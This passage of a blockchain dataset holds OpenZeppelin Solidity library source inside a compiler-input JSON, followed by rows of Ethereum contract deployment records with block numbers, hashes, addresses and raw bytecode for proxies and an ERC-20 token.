ERC1967Proxy(_logic, _data) {\n _admin = address(new ProxyAdmin(initialOwner));\n // Set the storage value and emit an event for ERC-1967 compatibility\n ERC1967Utils.changeAdmin(_proxyAdmin());\n }\n\n /**\n * @dev Returns the admin of this proxy.\n */\n function _proxyAdmin() internal virtual returns (address) {\n return _admin;\n }\n\n /**\n * @dev If caller is the admin process the call internally, otherwise transparently fallback to the proxy behavior.\n */\n function _fallback() internal virtual override {\n if (msg.sender == _proxyAdmin()) {\n if (msg.sig != ITransparentUpgradeableProxy.upgradeToAndCall.selector) {\n revert ProxyDeniedAdminAccess();\n } else {\n _dispatchUpgradeToAndCall();\n }\n } else {\n super._fallback();\n }\n }\n\n /**\n * @dev Upgrade the implementation of the proxy. See {ERC1967Utils-upgradeToAndCall}.\n *\n * Requirements:\n *\n * - If `data` is empty, `msg.value` must be zero.\n */\n function _dispatchUpgradeToAndCall() private {\n (address newImplementation, bytes memory data) = abi.decode(msg.data[4:], (address, bytes));\n ERC1967Utils.upgradeToAndCall(newImplementation, data);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev The ETH balance of the account is not enough to perform the operation.\n */\n error AddressInsufficientBalance(address account);\n\n /**\n * @dev There's no code at `target` (it is not a contract).\n */\n error AddressEmptyCode(address target);\n\n /**\n * @dev A call to an address target failed. The target may have reverted.\n */\n error FailedInnerCall();\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert AddressInsufficientBalance(address(this));\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n if (!success) {\n revert FailedInnerCall();\n }\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason or custom error, it is bubbled\n * up by this function (like regular Solidity function calls). However, if\n * the call reverted with no returned reason, this function reverts with a\n * {FailedInnerCall} error.\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert AddressInsufficientBalance(address(this));\n }\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target\n * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an\n * unsuccessful call.\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n return returndata;\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the\n * revert reason or with a default {FailedInnerCall} error.\n */\n function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n /**\n * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.\n */\n function _revert(bytes memory returndata) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert FailedInnerCall();\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n"
},
"@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(newImplementation.code.length > 0);\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris"
}
}} |
1 | 20,290,793 | 907d5f2b37622ac6f0636db34e699da693dfa07bbe816ead9ab19f8500cb4a64 | 0f947889c1f96aa418971a3260696421d0a30567f71c9c34cec93383d9de031d | d24400ae8bfebb18ca49be86258a3c749cf46853 | 485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76 | 319a01065e2f3f18a1322abf40d6455a2a537c03 | 3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,796 | aae952e42ecf0ba440aec2e9cee2251ad044b9f2c68fc7acad06acc1553cee47 | 6bd3c76b5941ce2d5eef4261903f8c76920b507f4fc5ae040ca9eb7a53edb03b | 849a02be4c2ec8bbd06052c5a0cd51147994ad96 | 39c40c8f040cf363fa3cc6ed379dced87f318c36 | 7cc91c6e5660a9562fdc6e05a7e1c71789f39d99 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 20,290,800 | b2630180350aedbef0fe9475d7b7a52ed654fb371a40278482e5d239e97673cd | 9d71c5f5151342a5050b00d2f8c554f9a60e02a8e52e23686b011cce54528b6e | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | f69fbc4a8ca974f9758a498ccc41c5796519fd01 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,800 | b2630180350aedbef0fe9475d7b7a52ed654fb371a40278482e5d239e97673cd | 9d71c5f5151342a5050b00d2f8c554f9a60e02a8e52e23686b011cce54528b6e | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | d01ffff603686a61d94790aaf45820322867fbf0 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,800 | b2630180350aedbef0fe9475d7b7a52ed654fb371a40278482e5d239e97673cd | 9d71c5f5151342a5050b00d2f8c554f9a60e02a8e52e23686b011cce54528b6e | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 42ea9fb446227cc159849eb4455fb85d5d4c974d | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,800 | b2630180350aedbef0fe9475d7b7a52ed654fb371a40278482e5d239e97673cd | 9d71c5f5151342a5050b00d2f8c554f9a60e02a8e52e23686b011cce54528b6e | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | cd771e868851a6410fad9c007973adf4031d7603 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,800 | b2630180350aedbef0fe9475d7b7a52ed654fb371a40278482e5d239e97673cd | 9d71c5f5151342a5050b00d2f8c554f9a60e02a8e52e23686b011cce54528b6e | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | a73d0c14c7379c08022a407ab874fd7ea6b2e2dc | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,800 | b2630180350aedbef0fe9475d7b7a52ed654fb371a40278482e5d239e97673cd | 9d71c5f5151342a5050b00d2f8c554f9a60e02a8e52e23686b011cce54528b6e | 84ba51a3b082066482385c2e77c15b36b2888888 | fc27cd13b432805f47c90a16646d402566bd3143 | 6e700a02a4f99abfc43a3267791d633d0af18c68 | 60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a | 608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033 | |
1 | 20,290,805 | 25eeb207b080415ce2253f7a66bacb8a44273e824865bd3595c4269b6f16ceaf | 8667e47e5be52fb0c9f69f8e2a20899f1eb1cd2fa78acaf23dd80fd4df9e4be5 | 73b9a5c4ff988b174fa7de2aadb7ab3da3a22cec | 73b9a5c4ff988b174fa7de2aadb7ab3da3a22cec | 3d7021ebef239b54bb4d04111cc444d75b554ef8 | 6080604052620000126009600a620004bc565b620000219062989680620004d3565b60018181556007805461ffff60a01b1916600160a81b179055600a55620186a0906200004f906064620004d3565b6200005b9190620004ed565b600b55620186a0600154600a620000739190620004d3565b6200007f9190620004ed565b600c555f600d819055600e819055600f819055601081905560118190556012556109c46013556127106014819055601580547373b9a5c4ff988b174fa7de2aadb7ab3da3a22cec6001600160a01b0319918216811790925560168054821683179055601780549091169091179055600154620000fd906096620004d3565b620001099190620004ed565b6018556127106001546096620001209190620004d3565b6200012c9190620004ed565b6019556127106001546096620001439190620004d3565b6200014f9190620004ed565b601a553480156200015e575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e991906200050d565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000235573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025b91906200050d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002cc91906200050d565b600680546001600160a01b038581166001600160a01b031992831617909255600780548484169216919091179055305f908152600460209081526040808320805460ff19908116600190811790925560175486168552828520805482168317905560165486168552828520805482168317905560155490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000535565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040157815f1904821115620003e557620003e5620003ad565b80851615620003f357918102915b93841c9390800290620003c6565b509250929050565b5f826200041957506001620004b6565b816200042757505f620004b6565b81600181146200044057600281146200044b576200046b565b6001915050620004b6565b60ff8411156200045f576200045f620003ad565b50506001821b620004b6565b5060208310610133831016604e8410600b841016171562000490575081810a620004b6565b6200049c8383620003c1565b805f1904821115620004b257620004b2620003ad565b0290505b92915050565b5f620004cc60ff84168362000409565b9392505050565b8082028115828204841417620004b657620004b6620003ad565b5f826200050857634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200051e575f80fd5b81516001600160a01b0381168114620004cc575f80fd5b611e2080620005435f395ff3fe608060405260043610610198575f3560e01c8063715018a6116100e757806395d89b4111610087578063a9059cbb11610062578063a9059cbb146104b9578063dd62ed3e146104d8578063de9502181461051c578063f2fde38b1461053b575f80fd5b806395d89b41146104505780639cfac46a1461047b578063a8aa1b311461049a575f80fd5b80637d1db4a5116100c25780637d1db4a5146103cd578063893d20e8146103e25780638cd4426d146104125780639213c35814610431575f80fd5b8063715018a61461038f57806378109e54146103a35780637cca52fe146103b8575f80fd5b806332bc67aa1161015257806348ff2b8b1161012d57806348ff2b8b1461031457806351bc3c851461033357806351cd7cc31461034757806370a082311461035b575f80fd5b806332bc67aa146102a657806339efcf9e146102c75780633f4218e0146102e6575f80fd5b806306fdde03146101a3578063095ea7b3146101ee57806318160ddd1461021d57806323b872dd1461023f5780632f54bf6e1461025e578063313ce5671461028b575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b50604080518082019091526011815270057616c6c20537472656574205472756d7607c1b60208201525b6040516101e591906119b3565b60405180910390f35b3480156101f9575f80fd5b5061020d610208366004611a16565b61055a565b60405190151581526020016101e5565b348015610228575f80fd5b50610231610570565b6040519081526020016101e5565b34801561024a575f80fd5b5061020d610259366004611a40565b6105e0565b348015610269575f80fd5b5061020d610278366004611a7e565b5f546001600160a01b0391821691161490565b348015610296575f80fd5b50604051600981526020016101e5565b3480156102b1575f80fd5b506102c56102c0366004611a99565b610648565b005b3480156102d2575f80fd5b506102c56102e1366004611acf565b61078d565b3480156102f1575f80fd5b5061020d610300366004611a7e565b60046020525f908152604090205460ff1681565b34801561031f575f80fd5b506102c561032e366004611b4e565b610820565b34801561033e575f80fd5b506102c5610873565b348015610352575f80fd5b506102c56108a9565b348015610366575f80fd5b50610231610375366004611a7e565b6001600160a01b03165f9081526002602052604090205490565b34801561039a575f80fd5b506102c56108e7565b3480156103ae575f80fd5b50610231601a5481565b3480156103c3575f80fd5b5061023160195481565b3480156103d8575f80fd5b5061023160185481565b3480156103ed575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101e5565b34801561041d575f80fd5b506102c561042c366004611a16565b610954565b34801561043c575f80fd5b506102c561044b366004611b85565b610a68565b34801561045b575f80fd5b5060408051808201909152600381526215d4d560ea1b60208201526101d8565b348015610486575f80fd5b506102c5610495366004611a99565b610b0c565b3480156104a5575f80fd5b506007546103fa906001600160a01b031681565b3480156104c4575f80fd5b5061020d6104d3366004611a16565b610b71565b3480156104e3575f80fd5b506102316104f2366004611bc2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610527575f80fd5b506102c5610536366004611bee565b610b7d565b348015610546575f80fd5b506102c5610555366004611a7e565b610c73565b5f610566338484610cef565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105db9290916105d59190610e12565b90610e12565b905090565b5f6105ec848484610e1d565b61063d843361063885604051806060016040528060288152602001611dc3602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190611359565b610cef565b5060015b9392505050565b5f546001600160a01b0316331461067a5760405162461bcd60e51b815260040161067190611c35565b60405180910390fd5b5f61069c6127106106968660015461138490919063ffffffff16565b9061138f565b90505f6106ba6127106106968660015461138490919063ffffffff16565b90505f6106d86127106106968660015461138490919063ffffffff16565b60188490556019839055601a81905590505f6107036103e861069660056106fd610570565b90611384565b90508084101580156107155750808310155b80156107215750808210155b6107845760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610671565b50505050505050565b5f546001600160a01b031633146107b65760405162461bcd60e51b815260040161067190611c35565b5f5b8281101561081a578160055f8686858181106107d6576107d6611c55565b90506020020160208101906107eb9190611a7e565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556001016107b8565b50505050565b5f546001600160a01b031633146108495760405162461bcd60e51b815260040161067190611c35565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461089c5760405162461bcd60e51b815260040161067190611c35565b6108a7600b5461139a565b565b5f546001600160a01b031633146108d25760405162461bcd60e51b815260040161067190611c35565b6007805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146109105760405162461bcd60e51b815260040161067190611c35565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461097d5760405162461bcd60e51b815260040161067190611c35565b6040516370a0823160e01b81523060048201525f906109f2906064906106969085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156109ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190611c69565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610a44573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081a9190611c80565b5f546001600160a01b03163314610a915760405162461bcd60e51b815260040161067190611c35565b601680546001600160a01b039485166001600160a01b0319918216811790925560178054948616948216851790556015805493909516921682179093555f92835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b5f546001600160a01b03163314610b355760405162461bcd60e51b815260040161067190611c35565b600a839055600154610b5090620186a0906106969085611384565b600b55600154610b6990620186a0906106969084611384565b600c55505050565b5f610566338484610e1d565b5f546001600160a01b03163314610ba65760405162461bcd60e51b815260040161067190611c35565b600d879055600e8690556010859055600f849055601183905560128290556013819055601454610bd790600161138f565b60115411158015610bf75750601454610bf190600161138f565b60125411155b8015610c125750601454610c0c90600161138f565b60135411155b6107845760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610671565b5f546001600160a01b03163314610c9c5760405162461bcd60e51b815260040161067190611c35565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610d515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610671565b6001600160a01b038216610db25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610671565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6106418284611caf565b6001600160a01b038316610e815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610671565b6001600160a01b038216610ee35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610671565b6001600160a01b0383165f90815260026020526040902054811115610f645760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610671565b6001600160a01b0383165f9081526004602052604090205460ff16158015610fa457506001600160a01b0382165f9081526004602052604090205460ff16155b15610ff357600754600160a01b900460ff16610ff35760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610671565b6001600160a01b0383165f9081526004602052604090205460ff1615801561103357506001600160a01b0382165f9081526004602052604090205460ff16155b801561104d57506007546001600160a01b03838116911614155b801561106457506001600160a01b03821661dead14155b156110dc57601a546001600160a01b0383165f9081526002602052604090205461108e908361150a565b11156110dc5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d617869